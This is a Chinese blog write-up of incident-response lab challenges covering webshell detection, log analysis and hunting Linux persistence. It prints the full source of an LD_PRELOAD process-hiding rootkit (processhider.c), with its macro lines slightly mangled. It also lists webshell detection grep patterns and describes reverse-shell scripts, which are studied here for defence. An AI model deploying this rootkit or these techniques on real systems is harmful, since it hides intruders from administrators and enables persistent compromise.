玄机应急响应靶场题解
C3ngH Lv4

第一章 应急响应-webshell查杀

靶机账号密码 root xjwebshell

1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}

2.黑客使用的什么工具的shell github地址的md5 flag{md5}

3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx

4.黑客免杀马完整路径 md5 flag{md5}

在Windows下使用XShell+XFTP连接目标主机,然后一键下载/var/www/html文件夹到本地。

/var/www/html目录一般用于存储网站的HTML文件、图片、脚本等资源,供Web服务器(如Apache或Nginx)提供给访问者。

也可以使用tar命令打包,具体可以参照Linux tar命令 - 菜鸟教程

1
2
3
4
# 备份文件(tar默认只是打包不压缩,参数-z打包后进行gzip压缩,参数-j打包后进行bzip2压缩)
tar -cvf test.tar ./test # 得到test.tar备份文件
tar -zcvf test.tar.gz ./test # 得到test.tar.gz备份文件
tar -jcvf test.tar.bz2 ./test # 得到test.tar.bz2备份文件

解压

1
2
3
4
5
6
tar –xvf file.tar         # 解压 tar 包 
tar -xzvf file.tar.gz # 解压 tar.gz
tar -xjvf file.tar.bz2 # 解压 tar.bz2
tar –xZvf file.tar.Z # 解压 tar.Z
unrar e file.rar # 解压 rar
unzip file.zip # 解压 zip

下载源代码后使用D盾进行扫描,可以看到四个可疑文件。

image

可以在gz.php中找到flag1

image

google搜索webshell中的key可以看到是哥斯拉

image

github搜索得到flag2

也可以直接使用命令搜索找到可疑的webshell特征

1
2
3
4
5
6
7
8
#搜索目录下适配当前应用的网页文件,查看内容是否有Webshell特征
find ./ type f -name "*.jsp" | xargs grep "exec("
find ./ type f -name "*.php" | xargs grep "eval("
find ./ type f -name "*.asp" | xargs grep "execute("
find ./ type f -name "*.aspx" | xargs grep "eval("

#对于免杀Webshell,可以查看是否使用编码
find ./ type f -name "*.php" | xargs grep "base64_decode"

根据D盾里的路径/var/www/html/include/Db/.Mysqli.php可以知道隐藏后门,在Linux里可以ls -a看到隐藏文件,得到flag3。

同理可以找到flag4是top.php。

第一章 应急响应-Linux日志分析

1.有多少IP在爆破主机ssh的root帐号,如果有多个使用",“分割
2.ssh爆破成功登陆的IP是多少,如果有多个使用”,“分割
3.爆破用户名字典是什么?如果有多个使用”,"分割
4.登陆成功的IP共爆破了多少次
5.黑客登陆主机后新建了一个后门用户,用户名是多少

日志默认存放位置:/var/log/

查看日志配置情况:more /etc/rsyslog.conf

日志文件 说明
/var/log/cron 记录了系统定时任务相关的日志
/var/log/cups 记录打印信息的日志
/var/log/dmesg 记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息
/var/log/mailog 记录邮件信息
/var/log/message 记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件
/var/log/btmp 记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看
/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看
/var/log/wtmp 永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看
/var/log/utmp 记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询
/var/log/secure 记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中

比较重要的几个日志: 登录失败记录:/var/log/btmp //lastb 最后一次登录:/var/log/lastlog //lastlog 登录成功记录: /var/log/wtmp //last 登录日志记录:/var/log/secure

目前登录用户信息:/var/run/utmp //w、who、users

Linux日志分析技巧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
1、定位有多少IP在爆破主机的root帐号:    
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

定位有哪些IP在爆破:
grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c

爆破用户名字典是什么?
grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr

2、登录成功的IP有哪些:
grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

登录成功的日期、用户名、IP:
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'

3、增加一个用户kali日志:
Jul 10 00:12:15 localhost useradd[2382]: new group: name=kali, GID=1001
Jul 10 00:12:15 localhost useradd[2382]: new user: name=kali, UID=1001, GID=1001, home=/home/kali
, shell=/bin/bash
Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for kali
#grep "useradd" /var/log/secure

4、删除用户kali日志:
Jul 10 00:14:17 localhost userdel[2393]: delete user 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed group 'kali' owned by 'kali'
Jul 10 00:14:17 localhost userdel[2393]: removed shadow group 'kali' owned by 'kali'
# grep "userdel" /var/log/secure

5、su切换用户:
Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by root(uid=0)

sudo授权执行:
sudo -l
Jul 10 00:43:09 localhost sudo: good : TTY=pts/4 ; PWD=/home/good ; USER=root ; COMMAND=/sbin/shutdown -r now

第一章 应急响应-Linux入侵排查

1.web目录存在木马,请找到木马的密码提交
2.服务器疑似存在不死马,请找到不死马的密码提交
3.不死马是通过哪个文件生成的,请提交文件名
4.黑客留下了木马文件,请找出黑客的服务器ip提交
5.黑客留下了木马文件,请找出黑客服务器开启的监端口提交

image

在Web根目录下使用命令find ./ type f -name "*.php" | xargs grep "eval("可以找到这三个文件,分别为.shell.php、index.php、1.php,1.php应为第一题的木马,可以根据index.php和.shell.php两个文件有相同的md5值猜测是通过index.php实时生成.shell.php。查看源代码也可知如此

image

shell内容如下

image

可以看到同目录下有一个elf文件,为Linux可执行二进制文件

image

dump下来后使用微步云沙箱分析,可以看到回连IP和端口

image

第二章 日志分析-Apache日志分析

mysql应急响应 ssh账号 root 密码 xjmysql
ssh env.xj.edisec.net -p xxxxx
1.黑客第一次写入的shell flag{关键字符串}
2.黑客反弹shell的ip flag{ip}
3.黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx
4.黑客获取的权限 flag{whoami后的值}

快速定位到log位置

image

flag1可以使用该命令直接找到

1
awk '{print $1}' /var/log/apache2/access.log.1 | uniq -c | sort -n

flag2可以根据grep -Ea "192.168.200.2" /var/log/apache2/access.log.1得到指纹信息:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 并MD5得到

flag3是查看index.php的被访问次数

注意,要在grep的index.php加一个斜杠,因为可能是???index.php也被统计,而非正确的index.php

1
2
grep -Ea '/index.php' /var/log/apache2/access.log.1 | wc -l
#wc用于计算行数

flag4:grep -Ea "^192.168.200.2 - -" /var/log/apache2/access.log.1 | wc -l

flag5:grep -Ea "^[0-9]+.*+03/Aug/2023:[08|09]" /var/log/apache2/access.log.1 | awk '{print $1}' | uniq -c | wc -l

(感觉日志分析都比较固定,或许可以开发一个一把梭工具)

第三章 权限维持-Linux权限维持-隐藏

ssh root@env.xj.edisec.net -p 密码 xjqxwcyc
1.黑客隐藏的隐藏的文件 完整路径md5
2.黑客隐藏的文件反弹shell的ip+端口 {ip:port}
3.黑客提权所用的命令 完整路径的md5 flag{md5}
4.黑客尝试注入恶意代码的工具完整路径md5
5.使用命令运行 ./x.xx 执行该文件 将查询的 Exec*** 值 作为flag提交 flag{/xxx/xxx/xxx}

Linux中查找所有隐藏文件和文件夹的命令

1
2
3
4
5
6
7
8
#查找所有隐藏文件和文件夹
find /dir -name ".*" -print

#查找所有隐藏文件
find /dir -type f -name ".*" -print

#查找所有隐藏目录
find /dir -type d -name ".*" -print

查找所有隐藏文件后发现在/tmp/.temp目录似乎有些可疑

image

找到1.pyshell.py1.py是一个典型的Python反弹shell,此时可以确定黑客隐藏的文件路径和反弹shell的回连地址和端口号,至于出题人要哪个ip就只能试试看了,我个人觉得两个都是吧

image

解析1.pyshell.py的区别

1.py作为守护进程运行,使用两次os.fork()使得它可以脱离原始终端控制,sys.exit(0) 让父进程退出,而子进程在后台运行,确保进程不会因终端关闭而结束,并且使用 sys.stdout.flush()sys.stderr.flush() 以及 sys.stdout = fdreg (fdreg 指向 /dev/null),确保输出在终端中不可见。

shell.py作为一次性shell,使用 dup2(s.fileno(), 0)dup2(s.fileno(), 1)dup2(s.fileno(), 2) 将标准输入、输出和错误都重定向到 s,然后直接执行 run(["/bin/bash","-i"]) getshell。

processhider.c文件解析

懒得写了,问问GPT吧,感觉这个东西应该可以改个通用的来隐藏进程(?

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>

/*
* Every process with this name will be excluded
*/
static const char* process_to_filter = "1.py";

/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}

char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}

buf[ret] = 0;
return 1;
}

/*
* Get a process name given its pid
*/
static int get_process_name(char* pid, char* buf)
{
if(strspn(pid, "0123456789") != strlen(pid)) {
return 0;
}

char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);

FILE* f = fopen(tmp, "r");
if(f == NULL) {
return 0;
}

if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}

fclose(f);

int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
}

#define DECLARE_READDIR(dirent, readdir)
static struct dirent* (*original_##readdir)(DIR*) = NULL;

struct dirent* readdir(DIR *dirp)
{
if(original_##readdir == NULL) {
original_##readdir = dlsym(RTLD_NEXT, #readdir);
if(original_##readdir == NULL)
{
fprintf(stderr, "Error in dlsym: %sn", dlerror());
}
}

struct dirent* dir;

while(1)
{
dir = original_##readdir(dirp);
if(dir) {
char dir_name[256];
char process_name[256];
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&
strcmp(dir_name, "/proc") == 0 &&
get_process_name(dir->d_name, process_name) &&
strcmp(process_name, process_to_filter) == 0) {
continue;
}
}
break;
}
return dir;
}

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

Linux中常见的提权有SUID,可以直接尝试,也可以查看日志分析,可以查看浅析Linux SUID提权 | C3ngH’s B10g这篇博客内容学习SUID提权,此处直接给出命令,一眼看出来是find命令提权。

1
find / -user root -perm -4000 -print 2>/dev/null

image

下一步说黑客使用工具注入恶意代码,Linux系统下第三方软件通常安装在/opt目录下,找到一个隐藏文件,google搜到该工具:akpotter/cymothoa - Github.com

image

最后一个是用命令执行x.xx文件(或许指的就是1.py?)exec命令用于替换当前进程,根据题意理解应该是要提交用于运行1.py的命令,其实已经写在文件最前面了,直接看到#! /usr/bin/python3即可

 评论
评论插件加载失败
正在加载评论插件
总字数 98k 访客数 访问量